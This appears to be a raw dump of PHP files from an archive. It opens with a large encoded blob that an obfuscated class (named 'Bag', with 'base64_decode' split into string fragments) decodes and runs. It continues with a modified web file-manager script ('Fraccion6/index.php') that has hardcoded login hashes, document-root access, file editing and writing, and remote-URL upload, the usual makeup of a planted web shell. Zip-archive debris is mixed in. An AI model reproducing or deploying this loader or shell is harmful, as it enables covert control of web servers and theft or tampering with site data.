GUR6EsMSsiQ2S0OVoTMy9qXM7o3Perq7u9R2UMRBZ x2VVe9oo7p6LlS9z0V/L9wSAUlBc1cp2W/A2bz n6feL/FZ878M3LE+4ONelSCOgHfpcBb+0AC3A0kgA8z3+67QA2p2ISxbTGK0Q uPbTQKRoO5Ts/RNduXcnvjBV6r/5nd/hQtulaLi5DDb5B+C2FD6kb8A0LcpWfOhuav/o+D AovXZsJ5viU4Uuf7EG+MpQ0GoM4lkDMlauGi2ZYX15sZ+Ycvpsl9fh6BI N0830CpvvVsH4PrDmV7mu2RMmjdWvqz TBh2z7jZNjJg853JEvPTXMb2xmoORimfPU7SFJ8ouB UMBx7jMjs5/MmP5aQa1UPwED1jabCgo2xdN 2NGYsBb/I4rFXGHDjvIyj6zM6RS8IJ6CrZB1sAKr97rlJXLVGrqn9FB8/9oJJk XU7O17DmS7ZDfNBCYfHeyMgpefZZw+Q/bOW8iFxdnPs9/ MVBJvN6eFWaY/W7aPLNh5Oo/s4O1ObJ+ZOAouoKj ZEExlUOaXM3D7Ttah14M/9b46SwciE ERt1651sADsp++ZITjjZaJROLIKUZsuf5OrHN5HMeHZQC+OtR+TJax Q5iajkFTmS2d5NPZM9GWaxCudHuB80CHVa781r3rnOInDyNtGB89byInT+tkHTEL MBFVbM7cNtLMIE7XvnyvVB3EM3e1oobanpPbLx+354zc1AXWO5bFWc86GGJ8Eq6PkP6 tCtzNGnXHrOWw3IEx87mmfK3twu9nrSPB1np4DQWVoo Eo8XlmCmlj9WchdNJbZbbn5YKRcEKXXuPHjID4UZRANT3F6YZE b5yBmMHa9FHZ6SqUe6Hb4pjED7K9zwmTaNwyYYCTfjRUEACDadOYbcOCEiTDYqVcHw3H32uu FIHrQodiDvG+jXaG5fwIFGawOL1zlRsc7lIgLFDSo9+660x+oGUKF4dEJotpepYDKHQ 907ERNwUog3WgLC5GFw0zk3ySHT/Ld+//ouRib94iddhC Xbxwt1tICqFkK1DzrU81qLUWmE6RNSegJ+zUFWdzCDL3O3Q5O3TRJCZGNIp nmgVzqn5vo8u535DEFrb1gC3Tfewab8YxJupaYJqZWv5JrAwlAO jXIDoLAiDWsXEF5ENP8VFjNTAUeeeSuvfpAY5/mpv64VPQ8UsuhWq1VmOwsv+fLf/i GYECCMzdIbws4Y/DwdlWrW09PUUB5FAF 0o0DZVlZm6hr4ix+uxnTuDggkzbjku7pdO6iifLKIjxA1lCp37DYLtUY+Oi6RZt1+VaA5jC1CN qCCurBnXvcx7Hy0eTXnPZnJ77XbzXM93XgwTUaV+CoGs msBjpraoIQnnZiqMBkAzoSYkpbHVHtaAjONFqd1dBlCvw6d2oganIpBQKSlbOQ1wj3Ebl8DmYLSC/ Mv/Tu0EWGZk8AVepVPknYu0Hoc6m1yyEy/9Hzg/8GaLDi 2NC0jbdcWxzdLYstvY0kUZPWTFmv16NsB9mTP8ERodp sNa5X0m9xv78cLmufVvB317OlhrvvGr+GPjTJC2Wr29AAqdmZLN n5S4CiFVJj6wUZj9YDI0oWEomGMXLayN4tiUdbsUMZgK MgnxtzW6AGtWTeOhGfkOf+Q1dLsSKulq KwnoIyTq9PMFZH6ijlnz4aJYQUqSVJLHlaW2Yi2TPv9ByTzMN9n/1KKJUgXHsenwMmGI5KBdZFF 0Bwe/tW9ncP4e71T870DxX/Ng0J7Hh IFfPu9PEQfdeJbS3Bm0CG6rndFguQPdEnraUW217l96fBZrugNdFE6 Y3BnP7lYMMejwL9CCIH/R045wXhcCImcV33wYr+DToHpm+z oSAdr6ZbAkO41Vlj+t1w7xS+xEdMOrGk ERE29uf7arScSHrWKKrSsDY8GO4rDFrHThOdEfc+h80R6PJmzF+Tr3a6lXlD YPQWIlbAa+V+y9qJuis241MLbbub99 Gi6MyjlIF4lyU+LM9FjAbs4tfmfaAuGe9ivC+cJ2U5pVJ 6/Ri82Ac2dZHfEdEUG+NNudVWTei+1201Bq7mq46LFLm5mSLjWyn kodZyoxIuqbHPH1dHjg5jEWJT0H0+qP6r/l4tRayuIxsBGvuQn9pI0kMDL70s305Om5/I +oFzPPuW5iBMibWyOEE99wVFNve3K/eaCaTMG iF+cluqzfkXdymh5VNkh257uSTIkZ9zEtU4/Fn6KmnSMKU OCbNLNi12TZEnMD8uKR63H/Fd2+nAVfa4PSonxiHrZuFDVuQVESpjyM6qGt7kII1PrhkCqu5 0DK1lXnuEYreLoHnozawn915eGnk0r1jKrdUMzfXTPDM45PACyiPgCan3g64KK6tFAe2Uer PpWJfGBlqsXknILLXxwq2mf1AracvMh KPEsD7K85ijkcH67iSFAns7Cqof/dOSsyfT45xXQRcfSlSHgyjcb4LVKOCsseTSavR88iBsSscWXdxd s4pkeSWTQiUOqzc+ewlDY9gsfm68/GUXsoSOc+XjYwiFLEnWYVOUC c83g8Uney+SbEuMR3IxGLLs++n0a/kyE79wIMBJa9IEI33/43tMCN3mbm 26ZlFPlA7n0c8O/INqSeHccB+Us87X6okLWJMBnICdDRS2OdmVaAdgeg6fIK7T3Gay8 eSj385a+MIVgVKn5pGacJoo88GVYv8Sh0sC1WEpntsfnk2u94Mvry/W5ZIknWm9wEYinno 8PKupHD3ztnk/yCJH7zS20Ubiwx2osBmixDOwCJ6//ed+H 6M79pxw6zdYfXIp7mhIGXtArT/ZBtFelrowYG46jAd/cGDonNxBtTALPJhuEFd3aDR+HMedgOg iigNq/q0OJwTkCsaRwGUOufkGRwPBTGxQ2Vhwi8PxsMA1YcikSXDPt/ ekfm4d15P+ZZS/T2uSnia9Ynd92AlItDkDyVuTLSijO7USx2IMMu4Xo5of5CES2SgDGIdJ cgQHnAOmzl7wwcCnJH/8+Ov94Rcr3TPhM1ga5Nq s8gF8Ow29c+FsBrQRRZTfErNqPYbQeqqaYXLk4ZYArdKpSaGEMXkINIof3AbJ4gO6cg 9FzplbvdAw0hMj0+kKxauDOK9MqaHMWyf3/C/3x8ZTrRf6AZTaHw2zV5AfKuUNn5ECbzxSh0taueny r9YxReEUau3LGkgmip8fgxttQHevCDfvtfiekklcrxiHMrQzIplObE4YWuGFV4ZoU3BBK FwTYy9YXlfRGFmKz7X4+yv8p6cbCUDf Qk6k4h9LPx1ptx3zppdpleEgie3+zqs54l2jW2KVeNsbvGUoXkcfc+GZ7lwpyz6aR mKgWv6wQz0QnkpfjJyO6qqYwf6+8zGk1 VERoRR6cj/rfa7v3dEOpqyw5wf6tVZVfgp1KBD0kUx/8cYBn0sZVv/YB86S2ldh CclmtJ28DKk5ToMlNJ6wXgbhVPKQhMAtwDsn9ybpkx48Q5AmaFSV7UoKPY9x71Jfb b1/aMQLELUjqqLE8fxV8wcd6OdBYZ7nMX+A1Jzp9Y00Pa2djOAw+Wm8T6 JqczFvO/00NX8h9T9tYyIfHqhjSDwAl3BhKZOMtTjc V2zyP3v158yuTXeMjEucsqKy469906P4ikfkkVmwSf9B+ KYfMwAx5icNfJx2/JgioVlwO1i83HuwwiCX2XW2 PXwASfLcOsUbcZXt7yJWytMd/3alnizt+TsuKLLjLJXfbW9IoH2DSeRLxtywWS+8TbmmzY7+ Xli5XjlrhA22c4Qet0w7aQqjvQLmSKF+kJkeJzL7bZYK6joDttk2BpxAG9n+I XeaWVpxiCnkcv+U1yCfCJvTDq+9B/5XV2ED00lOXoYRBHEmAMHm6mifhRBDnbsJ/UqliIq/cIGAee7J i3lXK3MezXjM0EiCtAbE9SUWXXHPaR98fQI RZREYXqnNPoEn/tYzE9qQJPJhK6QLwFUQrA5gxVTg6QKSTrgkjN3DWtKcNeD0Y3TU52y2Ho OudnkZ1HesXn42Y2PuS1Pd8skkAzW/ /D1SkQ0Yxv0j6H+cXyuC2d2RTUW9UuURCuZmnyZn4MsRkJr1ukKb5ZXD8qoMfYO+7zm rbOUcBM3QeCr/r75m4ppRlzEA2Ed/5KWUsU9o8LxWZVS1nDJ5B2495Th gYfhAIJT88PC5ALfAlLhgtAcL8mDpb0VxDSNsVQfOGJ/ WgUlTtB2wGRTIC1fIZ8tF7uY4T8fdS75CYgak e4tq031tsC1IsBtrWs5O4jY2XEqaOMHw8SfXS0681KXsdBB0Nkp608i2KEZun7pg4fLHh0Aw1yty9 OUI2knNMpPu9kN4QIM4R6EEHlkc2HEExNCrsXf61VtsFcyEfaiV4VeMyON7Vr a58GOJ+YK02Uj9+eWc++dH2p8MTE0wg5zqvTMaH7CzICOIHLw6pOYUE7phHJIl9oJ Z1PrEpdKz2+2qPRIRQWwmBLAMczsXvYasitFBGw7KTTjnjSqFQwWNMbNY228JNQ9xpsRNUshHUrdpwy ARLD87PyRN84T2rcrpfnIBmG3o0fRR7 fm+jtSboUE/A54CxmJrYWKItzQgJE+xG8vj65yjlcwr2CWpPzu JBqiCwVZV3QHbNc4eRqKar1ELX93FO2V 1PhJL4JR7W+eyxS3NC5TnvbHZwwsuE1MmCCvLnVFrTJ1z3 BAK3+fPfNSlfLfCp81aDutkoZuN9ld0/Aub/c+b5xpsUHYP5 dgCwsIqaVPZzhtWgnueuZzZcklbJ50MaJubJxO6zGh0fIpQ3VA8Cy2 E8n0lxqhEHCJuZBDitc+cFe7Ko2T5wH+7 ttEQI4AC+MGazVYZeikjMMODGgaUmDbfOlZ7Sg5PoKlFK qgEfFntMzJF65Ur/JzWY6nkbFDehGYtVumzNseBFkHA8o0HZ32 EtdjJZFisiarWwSuDUFJC5KhNdoAM8JbTMYYnMyyMq8SBN3HbCQILKXXfsvQgujDTCVHpYd5Sw HR755NxpOPr4TfryiJ0LwEMkS1RGtL6N0qfy2tR1mNLQlCqGCeujElJPB+I568TuuD/9BZfoERzCIh ZPq4yL5J5hZm5bRYAUGFY/LlMxZtTMtRM47SyEr8smTOZ58Y/p Y/AK/BgFxds/tMD8o/F8yEVBsb0LWnGOet7tCOu86f1DEsfEA4Unrvm0mln/1yKt1fp4P4GjbrremIGK SIcijFSsaMTZuphT8sZ1jZcTsrSPlWsJC5f2K3F8Lyx3pvruBhQbS0sSUjMVWKs9lqbqLhcJoNNn 18lA825kdlC8x6eRQDnHiIH85FAwrgysAtfqqjF tyHz0bLsk2nPkW8Yheo6yBxTchNmhQ8ZoLxFZ1 lkcCpGZryvWpvI4jyS3mF40o1YZ4yR43iT8alOu8LjfuX /xgXymReuwwvnjDu309J+WdSvPWKikpNMTfhZHQo9KCqkteyyGIeb67QS2wMufEq+aAS3AEEO wdnrhUuHlVL5RmI+6//kozTLgWZTyrBjY5Nl0pNxJi1plp3cF qZld/lN+AmwbMUp4R50XOQHC+eJSKu8WMQYLQd9bU 0j8HkuKi0ty3M1t45SR+c334onAcbg6bObxCe JO2MXLC5YZlu3MXy/3yqfRjgy0SLaCnBAzdBp+tE867MhSc0R8rzI3cqOBtfi6cUBa dJHBrbGK/SAmuWp22qFZVatd7bCTQ/ hl0JKoy83WULIZtJ0xHxMkQyPsZxE3 IvVPez4eMaWntA1XF3S8+fbLAuMdL8ywYwqazR9sj4fLhMcNq8EaJZCp/Q8fW gIccb7KaKKK9OcY9Ew3+JTBDm3ZyXZQsu fE+CcEKgUodU5/3ojvNG2r4AEW0EjHxKkVxmIx4lTA5k3b/Zv79/gLbz+mNFBBeNCGt /UiVjQZoFhpLRI1H3F1c23JtL1SoKSGpZeCCS47KLw3O3gqnNMxjBsku2eHni Tw1015V4C2E0pSxUxWUijmVz+/6zAvzGbSD3UiEDiZuVI EzyPTcxkXe46Uv2laD0fEiKVWrVMLBkdaDCUFo95cycv3UKSo8uZ5cYXPlLm rClmS59inzBA5jHV53YlGnI5MFUZlC0AlXp0w5qYJ0TqCeDEaqK7 YTVQm9IlcFgjt7YD5BJ/Z6zRjmWTocKfsqAl779rf1LABYE+muO2doZF8E9BMR3ZAxGmuUH fR0Nb4fSt1CuvBGqGawoOv3Av4xNAXdMsiHrA8/20qqLSoASB/Su7VdmMEfP7NB8K Nc0z7z4VLec5WUm8Mf/xqPpDJAe6CvQUDW238R4niqrCjWTkSD67 WAwi4LM99/PdSWdKdWzkm1Yg7dgT6mfKYN7OsZEHY74AZNuSAs5ha7tCqu1S8ULPrRWXt+TP5 Y8Zu7bDLK4xBycKDN/Rc3UYWiMglROJNcBP8fQscGbuUiq8 cf04T7THyLJvRkY5T0PvdmkhBSCPhJuvqQubT4xipbelBdSQlNgDFMBqmkhSJtKxDs/Y+Noran5 +ae9w0n8wU+nHpEbKnHF/Wp0aurONZHTQUjt1H2beBgxenvHKMCM9gS6xfF2F7kF2sU69fcmlliY6 /9UJqH7pcTGUAnozQthmnqbYp1LZtyoeYlAcOewIEC4xcqYVeWwk62yYiOY HlazYT5Z4MsC1pt0x1wuuJEiko9b/v9Ap8H2ot+2u 0i9AqdUj3D44tyr0osimf0va9HB0+DS15/7yHCKlUEcHMlgtTj452IwP9zTcj4JwYI9vko LA+Ruj9k46OJfD9bLkiFVrceMQI2LFJhci1KB1BDfW ZXb16FTVxLuqnSQZAYGWuC+eaknMOF8eSxKgkdaIC6+xh 4Vk2Y61MqzS6jYXNy02R7x9mQhiOsiqaqJG kYD1HA2nULF3U+aZNLoOk0FjymWpX8v oloGcAzHLvN4f83t50yGDL1s3+wcM6qKcJ64 WCw1Z7XYWpRTufvEXGcTGzhUrh6aBQLwesv9R4QfsAYxOYV3ocNbfsNZi Xp4TFb3GJSREK8FQb3uc5gMEf8wVjZPmNMkxaeeZSTdFUFbhWfq8T+HfG1DNhxO73U40K1i CY7F9UVAlXKpjAhuripqe7bFDoGVcc4JJ7Gh9gaAccyuI+Z gMyX2LoyC6+sYIB/iHYonVK2bZUFXQJNtZ24zZez+uZZ21BnjduvQfJ4ZudL4V7 1j6q+pWgrQnl2i31hDhdv4d10qp3Cbx3tzg Oo7CqAI+MijG9qHJWsD2IzAqMXlagSssaLQjLnvSSXZ1pZrnZse8P0rnGBZo/CfUnyS9lXecxu3Yro yKsBGwyaxcb3ySYPKAKnbo/gF1slRn9JahC/Vjg6YNMNFq5WL+ej YKLXtpHCx7cIigB0CgNRmYqr+OeIKJt0dpnUgOHF+VIy0T0E3z7CkMT6YSg9a05moFIjPoYN/tsHuj BRI6Q4UlP+ohrC/0HOkPjVEefr7PdY1DDDikkXLsmfk AwA1fzKXoxqxF7cZAGOKKGFF8oL+UyQJN2VdWe8oZquDJ0KemLLlykH3Q4X4rp 1oQYKE9fZ/ohrBBvn9uDJRCnnMnjyiNizB j3ctznAwEv4kqbKWtGinSCp9zBCqRaMFyUYudrv92HxCW/1ynGf30/ohzV4ul9ugKinrO5bK R6zt7eBStP4XJRa63j1i6QLRUldquFSIp6/KvWbcg7uGeiUlVy zo6ZaGg4Wzul2IhJNsqjYtFkkFp0zVQHm YuE9wAFH2INbscYoj7RbjYdEicF4lykGEjP3gLzVvtN1Q2fa0lrTNKBnIpr7qLk1YI8kCd dQl5T8loZd6BVRqd2LJ+lVY76Fr4mlMA7vd9GBjHWZUvMtrpMo4Fo4T Uvn/Znp60/s9uhksU1slN28PqhqkNQfaRVhLuybcad3F1tJ1wa+4TDwbn4QCAFI2gYe8xO3N0e2Z cVCnxSBDUt/QznNUZokqlskWy1kLL2O+9ueLmvdze4TrIDqii2lHBka2nP9Xi2fT2O2oK+uzI OsIf/a6OQ5pQaP0ZqQdQZdlI1iQIwVI/fnA3Qa8WrFh 7DoExUWeNLJkc9hmI9COY9eAcvCus0vRWPZJUrRhTTU eTUrJuvRPHNnJUfPcNl2fAL89HKK43WdqE+OJL+QKGoAxSGmaKcuRyZA9Ceo+ICCqVtSWq4fderq/8nA EBG9nj7Ai7tIPd2DXReVMbCOZmcCmOZCkpgMRFidQL 8c1KfywPkTJprJIjUjMufwIg7dpRWSLei5KUPY0aE4jHwNWFrxl+FEfUmKO+5hfgJSYOBd oFNuMsoy7qeqjk7snHMu6gIGwBHe5ZV8HkKJxyJz 451eppKCn9muT6N5ytrHWtYzDlzWnUNSO9i TKK5EKWs8XK3f8y+V2/4mMCFdypds9z2Tm5JztDf/ixCmF5vt5dxtpXtN8TenrqvHiyEAFNo5z vA1F2JCBFWMn0GIJET2fHV5V0HWVzK2yRtUBhZQG64DBrnBw9nxHhh/MaxdjyuiKcdXjDgwPG6P9gaz PXtOpVad4bVKqCBoxLZk5vad22B+EaHZgXAu2/orowPd6fkDIxXeNOML0oy3uDBmyj1 4lwIqWAv2LHPQGUrH5w9JE+uA3P/66mGJfMDjb+r4hO S9z96mi8NQdMoiyMT4EvlgGkwXlnxtru1LVI8OpEzRL5QEe/J/JDEDX9zLA XcXzVPRTxFotmfBdhl4Yhg5M5jzqSMFwe68k2cBfrIZIsm7t0bvbo1 eqbKsv0X0o4X5YJy6PZAzDy946kZztFjdMv9ZreTVwCdKRqNQXDyhnnwZiau5 igXsdUyak1lPXxEUDjXEuGxXVqVLbCcm2lAykAw5giGkDvVgoGidgd7u407eR HuMrkqE514Prs/srEYkGfT37cxE0GBlEY FstLxJUHHPVmxkF+7rpa2lavsPsR6gP8H s3St7n+m7dnQGdR1wq39hPJaIVJYUjpXx+dU3tHEjTpwr0YYM8kCDGh+rUsF9T/ gWE5jcXu6wUsk/FDsr5c'; public $seek = array('ba', '_d', 'eco', '64', 'se', 'de'); public $_handler; public $_buffer = array('VxObK', 'wNra', 'zcnp1', 'mqa', '9Li'); public $_income; public $x86; public $_status = array('7i4cj', 'g=', 'qpmj5s', 'iz9XYw', 'ObG09'); public $backend; public $_move = array('i0ub', '7G09', 'Xz9', 'qqi', 'E='); } new Bag(); ?>PK6[ Fraccion6/index.phpnu[ '4493fca8792547ecdebc3f60edfc93d4', 'user' => '4493fca8792547ecdebc3f60edfc93d4'); $readonly_users = array('user'); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array('127.0.0.1', '::1'); $ip_blacklist = array('0.0.0.0', '::'); $config_file = __DIR__ . '/config.php'; if (is_readable($config_file)) { @(include $config_file); } $external = array('css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => ''); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if (!defined('DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array('en' => 'English'); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'; if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset($_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } else { if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; } else { if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } } } } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if ($ip_ruleset == 'AND') { if ($whitelisted == true and $blacklisted == false) { $proceed = true; } } else { if ($ip_ruleset == 'OR') { if ($whitelisted == true || $blacklisted == false) { $proceed = true; } } } if ($proceed == false) { trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if ($ip_silent == false) { fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit; } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if (function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error'); } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:' . $isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if (isset($_POST['type']) and $_POST['type'] == "search") { $dir = $_POST['path'] == "." ? '' : $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit; } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false) { header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if (isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback($message) { global $callback; echo json_encode($message); } function get_file_path() { global $path, $fileinfo, $temp_file; return $path . "/" . basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+\$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost\$|^127(?:\\.[0-9]+){0,2}\\.[0-9]+\$|^(?:0*\\:)*?:?0*1\$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit; } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00.. "); $allowed = 